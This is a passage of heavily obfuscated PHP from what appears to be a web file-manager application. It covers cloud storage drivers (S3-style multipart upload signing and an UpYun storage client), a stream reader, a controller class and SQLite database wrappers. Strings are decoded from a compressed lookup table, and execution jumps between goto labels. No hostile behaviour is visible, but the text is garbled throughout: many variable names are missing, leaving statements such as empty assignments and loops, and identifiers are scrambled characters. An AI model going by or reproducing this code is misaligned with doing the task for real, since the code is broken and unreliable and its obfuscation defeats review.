$this->region, $Ư, !0); $ = hash_hmac($ȫ[1341], $, $å, !0); $ҷ = hash_hmac($ȫ[1341], $, $, !0); $֎ = hash_hmac($ȫ[1341], $, $ҷ); $܈ۨ = array($ȫ[210] => $ȫ[12], $ȫ[1343] => $ȫ[12], $ȫ[1299] => $֏, $ȫ[1303] => $, $ȫ[1307] => $, $ȫ[1344] => $Н, $ȫ[1345] => $à, $ȫ[1346] => $, $ȫ[1347] => $޶, $ȫ[1348] => $֎, $ȫ[174] => $this->getHost()); return $܈ۨ; } public function multiUploadFormData($į, $ = 3600) { $ =& $_SERVER[]; $Ƚؑ = gmdate($[1427]); $ݯ = array(); $ = $this->client->getUploadId($this->bucket, $į, $ݯ); if (!$) { return !1; } return array($[218] => $, $[174] => $this->getHost() . $[8] . $this->pathEncode($į), $[219] => $Ƚؑ, $[95] => $į); } public function multiUploadAuthData($𧹃, $ä = array()) { $ =& $_SERVER[]; $̌ = isset($ä[$[167]]) ? $ä[$[167]] : $[12]; $ = $ä[$[95]]; unset($ä[$[95]]); if (isset($ä[$[220]])) { return $this->listUploadParts($, $ä); } $–柎 = array(); if (isset($ä[$[1428]])) { $–柎[$[1429]] = $ä[$[1428]]; } $ = explode($[176], $this->getHost()); $ǿ = array($[1430] => $[1], $[1431] => $[12], $[210] => $[118], $[1343] => $ä[$[80]]); $ = $[223]; $҅ = $[8] . $this->pathEncode($) . $̌; $ؠ = $this->client->__getSignatureV4($–柎, $ǿ, $, $҅); if (strpos($̌, $[222]) === 0) { if (isset($–柎[$[1429]])) { $ƒ = $–柎[$[1429]]; } else { if (isset($ؠ[$[1429]])) { $ƒ = $ؠ[$[1429]]; } else { $ƒ = hash($[1341], $[12]); } } return array($[229] => $ؠ[$[229]], $[1429] => $ƒ, $[219] => $ؠ[$[1432]]); } return $ؠ[$[229]]; } public function listUploadParts($, $ = array()) { $в =& $_SERVER[]; $խ = str_replace($в[230], $в[12], $[$в[167]]); $ = $this->client->listParts($this->bucket, $, $խ); if (!$) { return !1; } $ԑۼ = $в[1433]; foreach ($ as $) { $ԑۼ .= $в[1434] . "\74\x50\x61\162\x74\x4e\165\155\x62\145\x72\76{$[$в[1388]]}\74\57\x50\141\x72\x74\116\165\155\142\145\162\76\xa" . "\x3c\105\x54\x61\147\x3e{$[$в[1389]]}\x3c\57\x45\x54\141\x67\x3e\12" . $в[1435]; } $ԑۼ .= $в[1436]; $ߌ = array(); $̱߆ = explode($в[176], $this->getHost()); $ҋ = array($в[1430] => $̱߆[1], $в[210] => $в[118], $в[1343] => strlen($ԑۼ)); $؄ = $в[221]; $詯ø = $в[8] . $this->pathEncode($) . $[$в[167]]; $ʖڧ = $this->client->__getSignatureV4($ߌ, $ҋ, $؄, $詯ø, $ԑۼ); return array($в[229] => $ʖڧ[$в[229]], $в[219] => $ʖڧ[$в[1432]], $в[231] => $, $в[1429] => $ʖڧ[$в[1429]]); } public function link($, $س = array()) { return parent::link($, $س); } public function fileOut($, $ԫ = false, $߯ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1437])) { return parent::fileOutServer($, $ԫ, $߯, $); } parent::fileOut($, $ԫ, $߯, $); } public function fileOutImage($, $½ = 250) { if (strstr($this->endpoint, $_SERVER[][1437])) { return parent::fileOutImageServer($, $½); } parent::fileOutImage($, $½); } public function fileOutLink($ɢ) { $ =& $_SERVER[]; if (substr($ɢ, 0, 7) == $[1310]) { $ɢ = $[1311] . substr($ɢ, 7); } header($[158] . $ɢ); die; } public function getHost() { $ =& $_SERVER[]; $ë = str_rtrim(parent::getHost(), $[8] . $this->bucket); $ë = explode($[176], $ë); return $ë[0] . $[176] . $this->bucket . $[10] . $ë[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($߉ۄ, $ͦ = 0) { parent::__construct(); $this->source = $߉ۄ; $this->sourceSize = $ͦ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($΢ = false) { return $this->sourceSize; } public function getContent($޼˵ = false) { return $this->fileSubstr($޼˵, 0, $this->sourceSize); } public function fileSubstr($؝ = false, $ᓓ = 0, $Ұ = 0) { if (!$Ұ) { $Ұ = $this->sourceSize; } $֕ = $this->sourceSize - $ᓓ; if ($Ұ >= $֕) { $Ұ = $֕; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $ᓓ, $Ұ); } if ($this->sourceType == self::TYPE_FILE) { if ($Ұ <= 0) { return $_SERVER[][12]; } $ܐ = ftell($this->source); fseek_64($this->source, $ܐ + $ᓓ); $潇 = @fread($this->source, $Ұ); fseek_64($this->source, $ܐ); return $潇; } } public function hashMd5($Ք = false) { return md5($this->getContent()); } public static function hash($Ξ, $î = 0) { $ = new PathDriverStream($Ξ, $î); return $->hashSimple($Ξ); } public static function md5($͌, $ե = 0) { $ؿ = new PathDriverStream($͌, $ե); return $ؿ->hashMd5($͌); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\164\160\72\x2f\57\x76\60\x2e\141\160\x69\x2e\165\x70\171\165\156\56\x63\157\155"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($ۊŽ) { parent::__construct(); $this->_init($ۊŽ); } public function _init($˿) { $ͺ =& $_SERVER[]; foreach ($˿ as $ => $긾) { if (isset($this->{$})) { $this->{$} = $긾; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ͺ[1438] . LNG($ͺ[1369])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($蛭, $ = "\107\105\124") { $ =& $_SERVER[]; $ע = gmdate($[1402]); $⟕ވ = base64_encode(hash_hmac($[1439], "{$}\x26{$蛭}\46{$ע}", md5("{$this->userpass}"), !0)); $ = array("\x41\x75\x74\150\157\162\x69\172\x61\164\151\157\156\x3a\125\120\131\x55\116\40{$this->username}\x3a{$⟕ވ}", "\104\141\x74\145\x3a{$ע}"); return $; } public function ussRequest($Ջߛ, $̫ = "\x47\x45\124", $˨ = false, $ = false, $ = false) { $ =& $_SERVER[]; $Ջߛ = trim($Ջߛ, $[8]); $ҠË = "\x2f{$this->bucket}\57{$Ջߛ}"; $ = $this->ussHeaders($ҠË, $̫); if ($) { $ = array_merge($, $); } $↜ = url_request($this->endpoint . $ҠË, $̫, $˨, $, $); if (!$↜) { return array($[1176] => !1, $[1178] => $[1440]); } if (strtolower($̫) == $[189] || in_array($↜[$[1176]], array($[1295], $[1441]))) { $˨ = $↜[$[1442]]; } else { $˨ = json_decode($↜[$[1178]], !0); if (!$˨) { $˨ = $↜[$[1178]]; } else { if (!$↜[$[743]] && isset($˨[$[1443]])) { $˨ = $˨[$[1443]]; } } } return array($[1176] => $↜[$[743]], $[1178] => $˨); } public function mkfile($, $ = '', $֡ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ֱ = trim($, $[8]); if ($this->_isFolder($ֱ)) { return $this->getPathOuter($ֱ); } $Χ = array($[1444]); $͏ = $this->ussRequest($ֱ, $[221], !1, $Χ); return $͏[$[1176]] ? $this->getPathOuter($ֱ) : !1; } public function copyFile($, $ϫ) { $ͺ =& $_SERVER[]; $λ = array($ͺ[1445] . "\57{$this->bucket}\57{$}", $ͺ[1446]); $ = $this->ussRequest($ϫ, $ͺ[223], !1, $λ); return $[$ͺ[1176]] ? !0 : $this->getPathOuter($ϫ); } public function moveFile($, $΄) { $ =& $_SERVER[]; $ = array($[1447] . "\x2f{$this->bucket}\x2f{$}", $[1446]); $ߣ = $this->ussRequest($΄, $[223], !1, $); return $ߣ[$[1176]] ? !0 : $this->getPathOuter($΄); } public function delFile($꺀) { $ږ =& $_SERVER[]; $Ꞧ = $this->ussRequest($꺀, $ږ[1448]); return $Ꞧ[$ږ[1176]] ? !0 : !1; } public function delFolder($ü) { $ =& $_SERVER[]; if (!$this->exist($ü)) { return !0; } $this->listItemCache = !1; $ꀴ = $̢ = array(); $this->fileList($ü, $ꀴ, $̢, !0); $this->listItemCache = !0; foreach ($̢ as $) { $Է = $this->ussRequest($[$[32]], $[1448]); if (!$Է[$[1176]]) { return !1; } } foreach ($ꀴ as $佶) { $Է = $this->ussRequest($佶, $[1448]); if (!$Է[$[1176]]) { return !1; } } $Է = $this->ussRequest($ü, $[1448]); return $Է[$[1176]]; } public function rename($Ͻ, $͈) { if ($this->isFile($Ͻ)) { $͈ = get_path_father($Ͻ) . $͈; return $this->moveFile($Ͻ, $͈); } return $this->renameObject($Ͻ, $͈); } public function fileInfo($, $ʵ׍ = false, $د = array()) { $ǔ =& $_SERVER[]; $ = array($ǔ[32] => $this->pathThis($), $ǔ[78] => $this->getPathOuter($ǔ[8] . $), $ǔ[33] => $ǔ[192], $ǔ[80] => isset($د[$ǔ[80]]) ? $د[$ǔ[80]] : 0, $ǔ[167] => $this->ext($)); if ($ʵ׍) { return $; } $[$ǔ[193]] = $[$ǔ[86]] = 0; $[$ǔ[194]] = $[$ǔ[195]] = !0; if (empty($د)) { $د = $this->objectMeta($); if (!$د) { return $; } } $[$ǔ[193]] = intval($د[$ǔ[1449]]); $[$ǔ[86]] = intval($د[$ǔ[1450]]); $[$ǔ[80]] = $د[$ǔ[80]]; return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[78] => $this->getPathOuter($[8] . $), $[33] => $[79]); if ($) { return $; } $[$[193]] = $[$[86]] = 0; $[$[194]] = $[$[195]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[193]] = intval($[$[1449]]); $[$[86]] = intval($[$[1450]]); return $; } private function listObjs($, $ = 0, $ = 1000) { $ =& $_SERVER[]; $Σĝ = array($[1451], $[1452] . $); if ($) { $Σĝ[] = $[1453] . $; } $ȵ = $this->ussRequest($, $[225], !1, $Σĝ); return !$ȵ[$[1176]] ? !1 : $ȵ[$[1178]]; } private function fileList($З, &$ۍ, &$Đ, $ز = false) { $ =& $_SERVER[]; $ = $[12]; $͠ = 1000; $ہг = rtrim($З, $[8]) . $[8]; $ߗ = $this->listItemCache === !1 ? !1 : !0; while (!0) { check_abort(); $ = $this->listObjs($З, $, $͠); if (!$) { return !1; } $ = isset($[$[1454]]) ? $[$[1454]] : $[12]; $̒ = isset($[$[1455]]) ? $[$[1455]] : array(); foreach ($̒ as $㙪̀) { $Ȓޣ = $㙪̀[$[33]] == $[79] ? !0 : !1; $ = ltrim($ہг . $㙪̀[$[32]], $[8]) . ($Ȓޣ ? $[8] : $[12]); $ = array($[32] => $, $[33] => $Ȓޣ ? $[79] : $[192], $[80] => $㙪̀[$[332]], $[1450] => $㙪̀[$[1456]]); if ($ߗ) { $this->cacheMethod($[198], $, $Ȓޣ); $this->cacheMethod($[199], $, $); } if ($Ȓޣ) { $ۍ[] = $; if ($ز) { $this->fileList($, $ۍ, $Đ, $ز); } continue; } $Đ[] = $; } if (count($̒) < $͠) { break; } } if ($ߗ) { $this->cacheMethod($[198], $З, !0); } } public function listPath($, $԰ = false) { $׽ =& $_SERVER[]; $ߎ = $ = array(); $this->fileList($, $ߎ, $); foreach ($ߎ as $ => $،) { $ߎ[$] = $this->folderInfo($،, $԰); } foreach ($ as $ => $،) { $[$] = $this->fileInfo($،[$׽[32]], $԰, $،); } return array($׽[77] => $ߎ, $׽[76] => $); } public function has($ڮ, $Ԃǒ = false, $ = true) { $ıÄ =& $_SERVER[]; $ʹ = $ıÄ[12]; $ئ = 500; $ჱ = 0; $ = 0; $ = rtrim($ڮ, $ıÄ[8]) . $ıÄ[8]; while (!0) { check_abort(); $ޓ = $this->listObjs($ڮ, $ʹ, $ئ); if (!$ޓ) { return !1; } $ʹ = isset($ޓ[$ıÄ[1454]]) ? $ޓ[$ıÄ[1454]] : $ıÄ[12]; $ = isset($ޓ[$ıÄ[1455]]) ? $ޓ[$ıÄ[1455]] : array(); if (empty($)) { break; } $ᝩ = array_filter($, function ($) { $˅ =& $_SERVER[]; return $[$˅[33]] == $˅[79]; }); $ڸۉ = count($); $ᝩ = count($ᝩ); $ = $ڸۉ - $ᝩ; if ($Ԃǒ) { $ += $ᝩ; $ჱ += $; if ($ڸۉ < $ئ) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($ᝩ) { return !0; } } if ($ڸۉ < $ئ) { break; } } if ($Ԃǒ) { return array($ıÄ[202] => $ჱ, $ıÄ[203] => $); } return !1; } public function listAll($ɛה) { $ =& $_SERVER[]; $ = $Ӡ = array(); $this->fileList($ɛה, $, $Ӡ, !0); $ = array(); foreach ($Ӡ as $ʮ) { $[$ʮ[$[32]]] = $ʮ[$[80]]; } foreach ($ as $ʮ) { if (is_string($ʮ)) { $[$ʮ] = 0; } } return $this->listAllFiles($ɛה, array_keys($), $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($ܸ) { return $this->exist($ܸ) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($ا, $ = '') { $Ո =& $_SERVER[]; if (!$) { $Ą = $this->ussRequest($ا, $Ո[221]); return $Ą[$Ո[1176]]; } $נ = $this->tempFile($this->pathThis($ا)); file_put_contents($נ, $); if ($this->upload($ا, $נ)) { $this->tempFileRemve($נ); return !0; } return !1; } public function fileSubstr($Րе, $Ň, $Ϻ) { $ۭ =& $_SERVER[]; if (!($갧 = $this->link($Րе))) { return !1; } $ = !1; if ($Ϻ > 0) { $ = $Ň + $Ϻ - 1; $ = array($ۭ[1417] . $Ň . $ۭ[460] . $); } $΀ = url_request($갧, $ۭ[225], !1, $); return $΀[$ۭ[743]] ? $΀[$ۭ[1178]] : !1; } public function upload($駤, $Ɂ, $ۍ = false, $٢ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($Ɂ); if ($ <= 1024 * 1024 * 200) { $ȭ = array($[1457] . $Ɂ); $ȥ = $this->ussRequest($駤, $[223], $ȭ); return $ȥ[$[1176]] ? $this->getPathOuter($駤) : !1; } $ = 1024 * 1024 * 10; $ҧ = array($[1458], $[1459] . $, $[1460], $[1461] . $); $ȥ = $this->ussRequest($駤, $[223], !1, $ҧ); if (!$ȥ[$[1176]]) { return !1; } $팚 = $ȥ[$[1178]]; $ = 0; $ = $팚[$[1462]]; $꛶ = fopen($Ɂ, $[1366]); if (!$꛶) { return !1; } do { $Ν = $팚[$[1463]]; fseek_64($꛶, $); $ = fread($꛶, $Ν); $ą = 0; do { $ą++; $팚 = $this->uploadPart($駤, $팚, $); } while (!$팚 && $ą < 3); if (!$팚) { return !1; } $ = $팚[$[1462]]; $ += $Ν; } while ($ != -1); fclose($꛶); $ҧ = array($[1464], $[1465] . $팚[$[1466]], $[1460]); $ȥ = $this->ussRequest($駤, $[223], !1, $ҧ); return $ȥ[$[1176]] ? $this->getPathOuter($߆) : !1; } private function uploadPart($, $ɡ, &$) { $ =& $_SERVER[]; $䱻 = array($[1467], $[1465] . $ɡ[$[1466]], $[1468] . $ɡ[$[1462]], $[139] . $ɡ[$[1463]]); $댇 = $this->ussRequest($, $[223], $, $䱻); return !$댇[$[1176]] ? $댇[$[1176]] : $댇[$[1178]]; } public function uploadFormData($, $كٗ = 3600) { return $this->uploadPolicy($, $كٗ); } public function multiUploadFormData($, $ؘʏ = 3600) { $ҁ =& $_SERVER[]; $Ж = (int) $GLOBALS[$ҁ[7]][$ҁ[80]]; return $this->uploadPolicy($, $ؘʏ, $Ж); } private function uploadPolicy($, $ = 3600, $ɳ = 0) { $Ю =& $_SERVER[]; $ߴ = $Ю[8] . $this->bucket; $Հϸ = gmdate($Ю[1402]); $ = array($Ю[1469] => $this->bucket, $Ю[1470] => $, $Ю[1471] => time() + $, $Ю[1472] => $Հϸ); if ($ɳ) { $[$Ю[1382]] = $ɳ; } $ = base64_encode(json_encode($)); $ڡ = base64_encode(hash_hmac($Ю[1439], "\120\x4f\123\x54\46{$ߴ}\x26{$Հϸ}\x26{$}", md5("{$this->userpass}"), !0)); $ = array($Ю[1307] => $, $Ю[1473] => "\x55\x50\x59\x55\x4e\x20{$this->username}\x3a{$ڡ}", $Ю[174] => $this->endpoint . $ߴ); return $; } public function download($߶Ӧ, $) { $껸 = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($߶Ӧ))) { return !1; } $Դ = 0; $ߴ = 1024 * 200; $ = fopen($껸, $_SERVER[][1423]); while (!0) { $ = $this->fileSubstr($߶Ӧ, $Դ, $ߴ); if ($ === !1) { return !1; } fwrite($, $); $Դ += $ߴ; if (strlen($) < $ߴ) { break; } } fclose($); return $; } public function link($׀, $î = array()) { $ǔ =& $_SERVER[]; $׀ = trim($׀, $ǔ[8]); if (!empty($this->token)) { $ = strtotime(date($ǔ[1474])); $ = substr(md5($this->token . $ǔ[279] . $ . $ǔ[1475] . $׀), 12, 8) . $; $î[] = $ǔ[1476] . $; } $ޒ = !empty($î) ? $ǔ[73] . implode($ǔ[279], $î) : $ǔ[12]; return $this->getHost() . $ǔ[8] . $׀ . $ޒ; } public function fileOut($ , $ = false, $߭ = false, $钲 = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ , $, $߭, $钲); } if (!$߭) { $߭ = $this->pathThis($ ); } $񥡙 = $ ? array($_SERVER[][1477] . rawurlencode($߭)) : array(); $ = $this->link($ , $񥡙); $this->fileOutLink($); } public function fileOutServer($ג, $ = false, $ôԴ = false, $ = '') { parent::fileOut($ג, $, $ôԴ, $); } public function fileOutImage($ϐІ, $ = 250) { $ = $this->link($ϐІ . $_SERVER[][1478] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($ޞ) { $ =& $_SERVER[]; $Й = $this->_objectMeta($ޞ); return isset($Й[$[207]]) ? $Й[$[207]] : !1; } public function size($) { $ޜ = $this->objectMeta($); return $ޜ ? $ޜ[$_SERVER[][80]] : 0; } public function info($Ů٪) { if ($this->isFolder($Ů٪)) { return $this->folderInfo($Ů٪); } else { if ($this->isFile($Ů٪)) { return $this->fileInfo($Ů٪); } } return !1; } public function exist($ҰÕƪ) { return $this->isFile($ҰÕƪ) || $this->isFolder($ҰÕƪ); } public function isFile($ᑸ) { return !$this->isFolder($ᑸ) && $this->objectMeta($ᑸ); } public function isFolder($ј) { return $this->cacheMethod($_SERVER[][198], $ј); } protected function objectMeta($圃) { return $this->cacheMethod($_SERVER[][199], $圃); } protected function _objectMeta($ä) { $‐ =& $_SERVER[]; if ($ä == $‐[12] || $ä == $‐[8]) { return array(); } $ՠ = $this->ussRequest($ä, $‐[1479]); if (!$ՠ[$‐[1176]]) { return null; } $ߙÜ = isset($ՠ[$‐[1178]]) ? $ՠ[$‐[1178]] : array(); if (!isset($ߙÜ[$‐[1480]])) { return null; } $ = array($‐[33] => isset($ߙÜ[$‐[1480]]) ? $ߙÜ[$‐[1480]] : null, $‐[80] => isset($ߙÜ[$‐[1481]]) ? $ߙÜ[$‐[1481]] : null, $‐[207] => isset($ߙÜ[$‐[1482]]) ? $ߙÜ[$‐[1482]] : null, $‐[1449] => isset($ߙÜ[$‐[1483]]) ? $ߙÜ[$‐[1483]] : null); $[$‐[1450]] = isset($ߙÜ[$‐[1484]]) ? strtotime($ߙÜ[$‐[1484]]) : $[$‐[1449]]; return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $Ɉ = $this->_objectMeta($); return isset($Ɉ[$[33]]) && $Ɉ[$[33]] == $[79] ? !0 : !1; } } goto Cȅ; e҂: define($_SERVER[][236], 1); define($_SERVER[][237], 0); define($_SERVER[][238], 2); goto d; b֌: define($_SERVER[][233], 1); define($_SERVER[][234], 2); define($_SERVER[][235], 3); goto e҂; c: while (strlen($ibtuezfqxr) < $_SERVER[][607]) { if (!$ibtuezfqxr) { break; } $ibtuezfqxr++; } $_SERVER[⼦] = explode($_SERVER[][608], gzinflate(substr($_SERVER[][609], 10, -8))); $qtxmvhlzas = $_SERVER[][610]; goto Fڝ΍; d: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ʼn =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$ʼn[6]] =& $config; $this->values[$ʼn[7]] =& $in; $this->tpl = TEMPLATE . MOD . $ʼn[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($׸) { if (1 === func_num_args()) { $this->{$׸} = new $׸(); } else { $ = new ReflectionClass($׸); $گ = func_get_args(); array_shift($گ); $this->{$׸} = $->newInstanceArgs($گ); } return $this->{$׸}; } public function routeBind($υ, $, $܄ = 3) { $ =& $_SERVER[]; $ = $this->in[$[9]]; $υ = str_replace($[10], $[11], trim(trim($υ, $[8]), $[12])); if (!$υ || count($) <= $܄) { return !1; } $ = !0; $ = explode($[8], $υ); for ($ٮ = 0; $ٮ < count($); $ٮ++) { if ($[$ٮ] != $[$܄ + $ٮ]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($Ļ = 3) { $议 = $this->in[$_SERVER[][9]]; if (count($议) <= $Ļ) { return array(); } $ = array(); for ($Ҋ = $Ļ; $Ҋ < count($议); $Ҋ += 2) { $[$议[$Ҋ]] = $议[$Ҋ + 1]; $this->in[$议[$Ҋ]] = $议[$Ҋ + 1]; } return $; } protected function assign($, $ӑ) { $this->values[$] = $ӑ; } protected function display($쉷胏) { ob_end_clean(); extract($this->values); require $this->tpl . $쉷胏; } } class DbSqliteBase extends Db { public function __construct($ = '') { $߬ =& $_SERVER[]; if (!extension_loaded($߬[13])) { think_exception(think_lang($߬[14]) . $߬[15]); } if (!empty($)) { if (!isset($[$߬[16]])) { $[$߬[16]] = 438; } $this->config = $; if (empty($this->config[$߬[17]])) { $this->config[$߬[17]] = array(); } } } public function connect($㭄 = '', $Ɏ = 0) { $뚅 =& $_SERVER[]; if (!isset($this->linkID[$Ɏ])) { if (empty($㭄)) { $㭄 = $this->config; } $ = !empty($㭄[$뚅[17]][$뚅[18]]) ? $㭄[$뚅[17]][$뚅[18]] : $this->pconnect; $َ؆ = $ ? $뚅[19] : $뚅[20]; $this->linkID[$Ɏ] = $َ؆($㭄[$뚅[21]], $㭄[$뚅[16]]); if (!$this->linkID[$Ɏ]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$Ɏ], 30000); if (1 != think_config($뚅[22])) { unset($this->config); } } return $this->linkID[$Ɏ]; } public function free() { $this->queryID = null; } public function query($Ț) { $ڽ߼ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ț; if ($this->queryID) { $this->free(); } think_action_status($ڽ߼[23], 1); think_status($ڽ߼[24]); $this->queryID = sqlite_query($this->_linkID, $Ț); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ߙ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $ߙ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ϡ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$ϡ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ۇ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$ۇ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $紁 = array(); if ($this->numRows > 0) { for ($Ӏ = 0; $Ӏ < $this->numRows; $Ӏ++) { $紁[$Ӏ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $紁; } public function getFields($Ɉϑ) { $ =& $_SERVER[]; $ = $this->query($[29] . $Ɉϑ . $[30]); $ѫ = array(); if ($) { foreach ($ as $ => $̤߀) { $ѫ[$̤߀[$[31]]] = array($[32] => $̤߀[$[31]], $[33] => $̤߀[$[34]], $[35] => (bool) ($̤߀[$[36]] === $[12]), $[37] => $̤߀[$[38]], $[39] => strtolower($̤߀[$[40]]) == $[41], $[42] => strtolower($̤߀[$[43]]) == $[44]); } } return $ѫ; } public function getTables($ = '') { $ =& $_SERVER[]; $ʇ = $this->query($[45] . $[46] . $[47]); $թ = array(); foreach ($ʇ as $Ո => $ˇ) { $թ[$Ո] = current($ˇ); } return $թ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ҿ =& $_SERVER[]; $ӝ = sqlite_last_error($this->_linkID); $this->error = $ӝ . $ҿ[4] . sqlite_error_string($ӝ); if ($ҿ[12] != $this->queryStr) { $this->error .= LNG($ҿ[48]) . $this->queryStr; } think_trace($this->error, $ҿ[12], $ҿ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($) { $ް =& $_SERVER[]; $֙ = $ް[12]; if (!empty($)) { $ = explode($ް[50], $); if (count($) > 1) { $֙ .= $ް[51] . $[1] . $ް[52] . $[0] . $ް[53]; } else { $֙ .= $ް[51] . $[0] . $ް[53]; } } return $֙; } } class DbSqlite3Base extends Db { public function __construct($鱼 = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($鱼)) { if (!isset($鱼[$[16]])) { $鱼[$[16]] = 438; } $this->config = $鱼; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ʁ = 0) { $л =& $_SERVER[]; if (!isset($this->linkID[$ʁ])) { if (empty($)) { $ = $this->config; } $this->linkID[$ʁ] = new SQLite3($[$л[21]]); if (!$this->linkID[$ʁ]) { think_exception($this->linkID[$ʁ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ʁ]->busyTimeout(30000); if (1 != think_config($л[22])) { unset($this->config); } } return $this->linkID[$ʁ]; } public function free() { $this->queryID = null; } public function query($¦) { $햋 =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $¦; if ($this->queryID) { $this->free(); } think_action_status($햋[23], 1); think_status($햋[24]); $this->queryID = $this->_linkID->query($¦); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ߟ = $this->getAll(); $this->numRows = count($ߟ); return $ߟ; } } public function execute($) { $䰠 =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($䰠[25], 1); think_status($䰠[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ҍ = $this->_linkID->query($_SERVER[][28]); if (!$ҍ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ک = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $ک; } $this->queryID->reset(); return $; } public function getFields($) { $ =& $_SERVER[]; $٩ = $this->query($[29] . $ . $[30]); $ȃ = array(); if ($٩) { foreach ($٩ as $ => $ԛ) { $ȃ[$ԛ[$[32]]] = array($[32] => $ԛ[$[32]], $[33] => $ԛ[$[33]], $[35] => (bool) ($ԛ[$[35]] === $[12]), $[37] => $ԛ[$[56]], $[39] => (bool) $ԛ[$[57]], $[42] => (bool) $ԛ[$[57]]); } } return $ȃ; } public function getTables($ك = '') { $ =& $_SERVER[]; $Ǭ = $this->query($[45] . $[46] . $[47]); $د = array(); foreach ($Ǭ as $ұڴ => $) { $د[$ұڴ] = current($); } return $د; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $͌ =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($͌[12] != $this->queryStr) { $this->error .= LNG($͌[48]) . $this->queryStr; } think_trace($this->error, $͌[12], $͌[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($ͳ) { $ =& $_SERVER[]; $ˇǮ = $[12]; if (!empty($ͳ)) { $ͳ = explode($[50], $ͳ); if (count($ͳ) > 1) { $ˇǮ .= $[51] . $ͳ[1] . $[52] . $ͳ[0] . $[53]; } else { $ˇǮ .= $[51] . $ͳ[0] . $[53]; } } return $ˇǮ; } } goto Dى; f: class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\x75\x72\x63\x65\137\x65\166\145\x6e\x74"; protected $dataAuto = array(array("\x63\162\x65\x61\164\145\x54\151\155\x65", "\164\x69\155\x65", "\x69\x6e\x73\145\162\164", "\x66\165\156\x63\164\x69\x6f\156"), array("\144\145\163\143", '', 